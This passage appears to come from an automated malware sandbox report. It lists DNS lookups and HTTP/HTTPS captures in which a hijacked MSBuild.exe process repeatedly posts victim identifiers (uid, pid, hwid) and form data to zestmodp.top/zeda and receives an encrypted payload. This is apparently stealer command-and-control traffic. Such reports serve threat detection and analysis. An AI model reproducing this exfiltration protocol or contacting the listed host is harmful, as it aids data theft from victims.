Apr 15, 2025 17:56:50.962750912 CEST	53	51619	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 15, 2025 17:56:32.077457905 CEST	192.168.2.5	1.1.1.1	0x71e7	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.863104105 CEST	192.168.2.5	1.1.1.1	0x50c	Standard query (0)	zestmodp.top	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:50.800673962 CEST	192.168.2.5	1.1.1.1	0xf9b1	Standard query (0)	c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 15, 2025 17:56:31.452956915 CEST	1.1.1.1	192.168.2.5	0x703a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:31.452956915 CEST	1.1.1.1	192.168.2.5	0x703a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:32.185112953 CEST	1.1.1.1	192.168.2.5	0x71e7	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 17:56:32.185112953 CEST	1.1.1.1	192.168.2.5	0x71e7	No error (0)	pki-goog.l.google.com		172.253.124.94	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:38.973393917 CEST	1.1.1.1	192.168.2.5	0x50c	No error (0)	zestmodp.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:50.962750912 CEST	1.1.1.1	192.168.2.5	0xf9b1	Name error (3)	c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com	none	none	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:51.098282099 CEST	1.1.1.1	192.168.2.5	0x92db	No error (0)	ax-ring.ax-9999.ax-msedge.net	ax-9999.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 17:56:51.098282099 CEST	1.1.1.1	192.168.2.5	0x92db	No error (0)	ax-9999.ax-msedge.net		150.171.27.254	A (IP address)	IN (0x0001)	false
Apr 15, 2025 17:56:51.098282099 CEST	1.1.1.1	192.168.2.5	0x92db	No error (0)	ax-9999.ax-msedge.net		150.171.28.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

zestmodp.top

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49691	172.253.124.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2025 17:56:32.302510977 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 15, 2025 17:56:32.409344912 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 15 Apr 2025 15:23:59 GMT Expires: Tue, 15 Apr 2025 16:13:59 GMT Cache-Control: public, max-age=3000 Age: 1953 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49692	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:39 UTC	261	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 41 Host: zestmodp.top
2025-04-15 15:56:39 UTC	41	OUT	Data Raw: 75 69 64 3d 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 26 63 69 64 3d Data Ascii: uid=96efdfe8c3b1c339731fabb10966231d&cid=
2025-04-15 15:56:39 UTC	244	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:39 GMT Content-Type: application/octet-stream Content-Length: 33581 Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 930ca25a98e9dad3-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:39 UTC	1125	IN	Data Raw: 1a 4f ae 78 08 0c 07 76 98 38 d2 85 f1 88 21 cd 70 4f b1 0e 57 6d 56 20 e0 52 ad a2 bf 5c 87 af 92 58 49 bf 13 8f 7b 8c 90 9d b1 1b 32 78 af 03 9e e8 77 c7 2d 3a 17 f4 5f b7 5e 7c fa 7e 39 bc 0a a7 e9 7f ee 72 3e 75 6d 21 3f 69 0e 78 40 db 62 51 0a 16 88 51 22 95 d1 d1 a3 78 32 c8 a2 4b 2d 0d ae 2c aa 0b 93 68 49 8a 67 e6 9b 2d 83 5a 3d ee e1 aa 4b 79 3a 45 0c f5 6b e0 7b 2f f2 89 05 a1 19 0e c6 10 7b 88 19 40 78 c3 34 d6 b8 21 c6 34 c9 05 2b fa 33 66 d0 f5 8d e6 4d 58 c9 d2 84 48 81 1d 26 4c ad a2 c2 e2 9b e9 69 28 d1 32 17 14 03 82 95 21 d6 81 45 ad 64 e3 c7 5f 25 bc 28 98 dd 4b a2 35 eb dd 37 aa a4 6d 04 7f 25 52 c3 3c 78 7e 0a 2f ad 35 2b 4d 2a 70 d8 e0 6f 03 76 58 81 af 11 d8 8a 8e c9 93 3c e1 54 cd 7f 8f a4 66 cd 7d 31 a4 e2 02 eb 3b 65 00 64 33 c5 Data Ascii: Oxv8!pOWmV R\XI{2xw-:_^\|~9r>um!?ix@bQQ"x2K-,hIg-Z=Ky:Ek{/{@x4!4+3fMXH&Li(2!Ed_%(K57m%R<x~/5+M*povX<Tf}1;ed3
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: fe 28 6c d8 f1 64 ea 25 a4 73 63 8f 56 85 72 6f 28 fa bf 65 17 66 ce 18 ce ea 8a 3d 0f a4 56 e3 41 05 4e 4b d1 40 93 6d be 25 9c 65 fc db ce ea 83 b6 55 98 13 33 d1 61 22 59 8b 08 6e fb e9 0c 4f ab 67 ef 6e a2 5c 9c cd 2f 45 88 27 59 69 c9 6e ec 41 84 32 7a 28 2f 31 a7 8c 4f 84 bc 1a c4 9b c1 0b ce 9b 19 88 37 eb fa 13 fe 39 a7 b8 f2 7e ff c4 af 21 59 a8 39 d2 69 77 66 3c f2 ab 56 e5 0e e5 87 b7 76 dc cf a5 78 58 d9 c7 23 d8 ef 23 3c ab 4e 70 69 03 4b 51 64 37 40 49 80 32 79 71 a4 6a f5 b5 e8 20 dd 8c ea 4c ab 69 f7 75 4b f6 0c 26 f1 7e 5f 3f 13 d1 92 00 1a b7 8c b9 27 7d 64 60 d4 8d b0 cf a0 be 7c d6 a1 23 74 13 58 33 93 ac d6 2c 66 2f 31 18 e6 20 d4 bc 41 a0 d6 ba f8 b6 b1 0e d7 c0 19 1d 62 9e 87 fd 68 9c e1 e2 04 4e 64 c2 3b a5 ee 02 99 f2 5b a6 00 d8 Data Ascii: (ld%scVro(ef=VANK@m%eU3a"YnOgn\/E'YinA2z(/1O79~!Y9iwf<VvxX##<NpiKQd7@I2yqj LiuK&~_?'}d`\|#tX3,f/1 AbhNd;[
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: aa 74 66 41 5d c3 66 81 83 1a 5f ad 93 1b 0e 5e 4b b2 d5 f9 54 03 c1 f0 5c 66 ff fe e9 3e 69 48 a5 27 09 7d 5c 7c 49 a8 4e 71 1a 32 06 fa 15 69 95 4b 6a dc 55 63 e1 f1 3f 55 c7 fa 64 4b 9c c4 9d c9 cd 06 bf ad 82 e9 da b1 70 db 4b 2f 5b c9 01 b2 f2 c2 2e 08 23 96 68 e9 45 64 2a 21 f6 8b c9 5d 87 da 32 b9 6e 4d a9 4f 63 98 2a a8 6c 30 84 d4 27 5f 5b da fa d9 63 68 34 1a 03 9d 72 89 3c fb ad 8c d0 1b d1 32 a2 15 63 49 31 48 37 a2 a0 9e 1a ce 83 8a 3a 6a db 04 d4 98 4f cc 60 03 fe dc 46 ab 50 73 26 70 89 64 5f 8a fe bf ba cf a2 d7 eb 39 b2 b0 52 63 a1 1f 22 f4 87 86 51 69 db 0d 75 5c bd 80 0d cc 4a 20 f3 7f d7 74 bb e4 9d 4b 57 34 dd 13 de da 46 81 91 10 8b 41 d8 06 51 de 67 2d 62 ab 06 96 34 8f 91 58 e0 c4 59 82 c4 84 52 23 4f 20 80 e8 14 9b 16 18 8c 7b 44 Data Ascii: tfA]f_^KT\f>iH'}\\|INq2iKjUc?UdKpK/[.#hEd!]2nMOcl0'_[ch4r<2cI1H7:jO`FPs&pd_9Rc"Qiu\J tKW4FAQg-b4XYR#O {D
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: 02 75 95 f6 f4 01 f2 63 bc ef ec d6 62 a6 4e 75 f6 63 41 fa 1b 9a 19 46 d3 4c 12 8a 69 f9 cd 1a 36 47 17 30 a5 a8 48 c0 67 c6 57 11 6c 16 3e 21 43 30 71 5f 26 ec ae 74 af d5 64 a1 af 5a ff 27 c7 50 b2 c0 18 87 d3 e0 57 04 01 d3 a4 ad f7 77 64 9f db d3 99 91 30 fd 6d fe e7 81 50 33 b4 dc a2 8b 91 43 3f c1 27 87 e3 63 f9 a0 13 00 9e 25 11 50 2c 00 0e 64 57 b3 1f 80 de cd b2 b5 01 33 4f 5c 4c 51 c0 00 c6 b3 74 8d d9 bd 5f 8f 4a 50 b3 87 3f 41 05 b7 21 b5 3f 80 82 c8 5c ed 3c aa 65 14 1e 33 b8 71 44 be bc 99 d6 e2 d8 0d 4f ed 1d 95 cb 10 f7 3c ac 0b e0 cf 0c 39 e0 d1 77 a5 29 5f 1a 9a 4e 73 64 ab 3d 91 07 76 db 22 ca 60 87 97 96 57 43 d1 85 51 99 f7 22 57 31 72 cc d8 5d 66 48 55 2e 1b f1 a3 6d 8e 07 ee e2 5e 3b 71 d3 e5 29 cf 59 7f 9b 89 a4 f8 01 de 9b 92 e8 Data Ascii: ucbNucAFLi6G0HgWl>!C0q_&tdZ'PWwd0mP3C?'c%P,dW3O\LQt_JP?A!?\<e3qDO<9w)_Nsd=v"`WCQ"W1r]fHU.m^;q)Y
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: 87 8a 5a 5b 01 84 99 43 f0 a8 b6 08 57 31 65 bf 6c 7b 6f 5d 34 9e 86 d2 aa 2d a4 cd d5 23 99 43 72 cf 6c e7 ac 8c 32 a8 3e 14 2d 94 4c f1 08 7c 24 13 73 86 7c 16 82 bd 1c d6 4b a0 25 f7 07 26 db 6a 63 b8 c2 49 ed b7 db 6e af 02 9b 5e 2a 12 48 95 21 a8 f7 6b fb 81 e6 fc 73 f0 fa 0b c5 72 60 10 a1 44 17 2a ee 16 cb d3 e0 92 bb 77 a7 f0 31 bd 1f 90 b1 e7 21 02 6b 19 fc 05 16 09 e9 b5 3b de ad 6c b8 6b 9d 41 2a 2d 5e f7 f2 73 89 a6 57 af 54 5f 72 92 33 a9 95 c2 57 67 60 eb f1 02 85 2f 41 e9 ad be 02 6d 8f 0f c1 f8 2c ce 49 87 7c 6a c5 db 2e 54 50 63 98 03 0e ff 84 72 ab 50 97 7c 84 70 06 df 10 cc ae 1b 43 f8 ec d5 87 2e 48 1b 6b 55 7b 63 e8 6c 8f 7f 34 5c 37 81 55 46 a1 c8 89 bc 8d 06 db 77 88 7c 96 ea 9e bf 01 54 c8 13 88 2a 77 3f 5d a9 72 db 0c cb 20 10 4f Data Ascii: Z[CW1el{o]4-#Crl2>-L\|$s\|K%&jcIn^H!ksr`Dw1!k;lkA-^sWT_r3Wg`/Am,I\|j.TPcrP\|pC.HkU{cl4\7UFw\|Tw?]r O
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: 01 21 37 2f 62 1a 5e 20 58 27 7f 6b 7d 4a ce bd 70 cb a4 08 ba e4 68 21 43 de 28 63 05 89 ce 1f 07 07 ae 1e aa 3a 75 5e 4d c6 c1 4a ca e6 4a d4 12 b7 15 5f ed 06 f1 ed f1 36 b9 31 01 73 e3 76 4b f6 52 33 18 97 d4 bd 95 e7 dc 61 a0 2c ad 58 65 b9 e2 39 45 64 5b a3 dc 07 cc 46 d9 c5 48 15 9f f1 95 97 4c 9d d2 50 c7 59 ba 14 f7 ff 6f 63 8e 80 81 34 94 ff 02 12 5d 53 32 81 df 93 bd 4b 1c 5e 1f d8 a0 4f c0 15 33 2f 2c 28 72 a8 1e 78 8a f7 0e bf 15 c2 56 6f 71 22 9f 76 ce 1f f5 28 68 42 30 28 9e 07 68 be 70 2c de 08 da 02 84 f5 7d bb 5d 62 5e 8f 39 f4 f5 cc cd f7 42 bb 2d 6b 1d 20 5b a8 57 e4 6e a0 3b 91 42 b5 ad bd 30 22 c7 0a 3d 00 25 7a 83 88 b9 0c 27 96 dc 02 ea 5c ca 49 40 68 ec 15 5d a5 89 16 89 78 06 df 6b ea c0 96 4b d4 29 a0 6a 17 d1 1e 00 cd cb 98 19 Data Ascii: !7/b^ X'k}Jph!C(c:u^MJJ_61svKR3a,Xe9Ed[FHLPYoc4]S2K^O3/,(rxVoq"v(hB0(hp,}]b^9B-k [Wn;B0"=%z'\I@h]xkK)j
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: 65 bf e8 07 29 18 80 c3 62 78 f2 66 60 d9 f6 1f 4e df 79 97 9d 8c 15 c8 06 29 a8 9e a7 b2 47 26 1d f1 8b bc 3e 4f db 18 9b dd 72 f2 6b c3 1e c4 ee 3f 37 f5 15 c2 17 3d a6 5b 09 ce 7c d7 7d b3 87 18 40 e0 88 eb d3 5a 0e 06 9c 28 58 28 a5 8d 83 9e 3e f9 91 1a e5 9e 39 ec fa e3 ab 6f 21 3c 59 cd 92 38 a9 56 c0 c1 d3 86 ee 7c 67 46 84 78 3f 46 41 62 4c de d5 f7 4d 49 44 3a e2 36 1c 87 8b 6a 9c 97 35 07 3b c9 f6 4c b6 0f b6 4f bc 02 76 e2 10 06 85 76 05 37 f1 a4 db 75 72 df 4b 8a 77 47 92 ed a3 2b e9 e4 6b a6 d3 05 a4 0c cb 34 b0 73 b7 04 56 11 3c 5e 06 ec 81 cc 0c bc c3 a3 b4 d0 4d de c4 f4 7f ea 5d 2a af 38 f7 03 4a 5b cf 1e ce 91 5f 21 67 52 2f d9 d1 cc 09 17 de 04 dc ba 09 2b 4c fc 3a 0a e8 6c 54 90 66 2b ff 68 90 8c 64 50 48 a2 75 d0 1f f1 ca 66 e7 1d f9 Data Ascii: e)bxf`Ny)G&>Ork?7=[\|}@Z(X(>9o!<Y8V\|gFx?FAbLMID:6j5;LOvv7urKwG+k4sV<^M]*8J[_!gR/+L:lTf+hdPHuf
2025-04-15 15:56:39 UTC	1369	IN	Data Raw: 6c a3 eb ed 72 b5 6d 20 44 77 67 b4 32 53 d4 01 a4 58 ab 11 5f ad 62 cf 25 fe 76 5a 0b b0 22 05 ed 46 97 80 91 9b 70 cf 7d 07 3d ba 09 cc 5e 93 00 81 12 fa d2 fc 61 4a a9 09 47 72 7c 59 3e 55 de 27 f8 51 4d 00 8a 3d 45 6c ed 57 3b fb e7 33 84 25 92 21 ab bc 70 96 dd 32 48 a8 e5 42 fb dc 04 b4 c3 b3 6e 27 fa da 20 61 68 85 35 d1 07 ce f4 1f 9b 3d 4b 9a e4 11 68 d8 a8 80 12 28 93 bb 07 c9 eb ec 3e ec 50 18 fe 29 38 cf 8c da 69 8e c8 21 6b 5b d7 95 a9 ce 02 ce ad 6f 57 49 10 86 bc c9 45 d2 86 fd 7c 42 cf 6e 56 56 34 26 30 49 05 33 ac 5e 1b 5c 42 c5 ac bd 44 6f d7 cb 7c c0 4d 09 6b 6c ac 68 cc 14 05 e1 f6 56 1f 87 20 0a d3 c7 97 1d 95 c3 33 8f 73 c7 ff 7d 58 88 a3 6f 65 65 32 8d 63 e7 99 c8 22 7a 97 cf 01 50 f8 6a 87 18 42 46 e4 cc 11 0e 1b 29 9f 74 2f 55 93 Data Ascii: lrm Dwg2SX_b%vZ"Fp}=^aJGr\|Y>U'QM=ElW;3%!p2HBn' ah5=Kh(>P)8i!k[oWIE\|BnVV4&0I3^\BDo\|MklhV 3s}Xoee2c"zPjBF)t/U
2025-04-15 15:56:39 UTC	211	IN	Data Raw: 51 8c e5 21 26 7e b4 3e 61 cc a0 b3 b0 8e 7b 80 54 00 7e 18 5f 72 7d 7b fd a7 64 e9 0e 21 45 67 69 51 83 60 3e d8 20 bb d2 a5 1b 2d 8a d9 ab 7a 70 e3 22 54 22 ae f9 b0 3e 9a 72 21 76 3c 24 d9 8d c2 30 6e 97 fe 88 8d a2 de 36 b5 8d 87 e0 ad 35 cf bf 31 a2 86 12 81 5c c9 b7 20 96 c8 f6 8d 7c c0 9e d6 56 85 70 3e 38 bc c3 8b 13 69 ed 2b 7c 01 84 4a fd 31 58 86 b4 7c 3a 3d 3f 1d 78 28 fa fe 19 69 68 d6 7d a3 78 35 9c 06 ae dc 4b 8a 55 c3 cb 7a 4c f4 4e 1b 69 cb 8a f2 7a 50 51 f4 23 47 86 cd d6 58 a1 e0 c4 3e 27 aa e8 29 05 90 de 1b 70 9d a7 84 9c 53 a5 42 68 f2 82 46 06 a4 b0 5a 16 d3 7d b2 01 42 44 ed 7e 5b ea b2 5a 39 4f f4 fe Data Ascii: Q!&~>a{T~_r}{d!EgiQ`> -zp"T">r!v<$0n651\ \|Vp>8i+\|J1X\|:=?x(ih}x5KUzLNizPQ#GX>')pSBhFZ}BD~[Z9O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49693	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:40 UTC	273	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AY83UhC6GE6t User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 14883 Host: zestmodp.top
2025-04-15 15:56:40 UTC	14883	OUT	Data Raw: 2d 2d 41 59 38 33 55 68 43 36 47 45 36 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 0d 0a 2d 2d 41 59 38 33 55 68 43 36 47 45 36 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 59 38 33 55 68 43 36 47 45 36 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 41 32 31 31 38 39 42 36 42 46 35 43 32 32 46 32 32 44 42 33 45 38 39 32 31 43 33 37 43 Data Ascii: --AY83UhC6GE6tContent-Disposition: form-data; name="uid"96efdfe8c3b1c339731fabb10966231d--AY83UhC6GE6tContent-Disposition: form-data; name="pid"2--AY83UhC6GE6tContent-Disposition: form-data; name="hwid"D6A21189B6BF5C22F22DB3E8921C37C
2025-04-15 15:56:41 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:41 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 930ca263fc4d187a-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:41 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-15 15:56:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49694	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:42 UTC	269	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=lhKI3M2d User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 15012 Host: zestmodp.top
2025-04-15 15:56:42 UTC	15012	OUT	Data Raw: 2d 2d 6c 68 4b 49 33 4d 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 0d 0a 2d 2d 6c 68 4b 49 33 4d 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 6c 68 4b 49 33 4d 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 41 32 31 31 38 39 42 36 42 46 35 43 32 32 46 32 32 44 42 33 45 38 39 32 31 43 33 37 43 35 0d 0a 2d 2d 6c 68 4b 49 33 4d 32 Data Ascii: --lhKI3M2dContent-Disposition: form-data; name="uid"96efdfe8c3b1c339731fabb10966231d--lhKI3M2dContent-Disposition: form-data; name="pid"2--lhKI3M2dContent-Disposition: form-data; name="hwid"D6A21189B6BF5C22F22DB3E8921C37C5--lhKI3M2
2025-04-15 15:56:42 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:42 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 930ca26bc9dacf39-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:42 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-15 15:56:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49695	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:43 UTC	277	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5b6YbrY5Y797h7bQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20541 Host: zestmodp.top
2025-04-15 15:56:43 UTC	15331	OUT	Data Raw: 2d 2d 35 62 36 59 62 72 59 35 59 37 39 37 68 37 62 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 0d 0a 2d 2d 35 62 36 59 62 72 59 35 59 37 39 37 68 37 62 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 62 36 59 62 72 59 35 59 37 39 37 68 37 62 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 41 32 31 31 38 39 42 36 42 46 35 43 32 32 46 32 32 Data Ascii: --5b6YbrY5Y797h7bQContent-Disposition: form-data; name="uid"96efdfe8c3b1c339731fabb10966231d--5b6YbrY5Y797h7bQContent-Disposition: form-data; name="pid"3--5b6YbrY5Y797h7bQContent-Disposition: form-data; name="hwid"D6A21189B6BF5C22F22
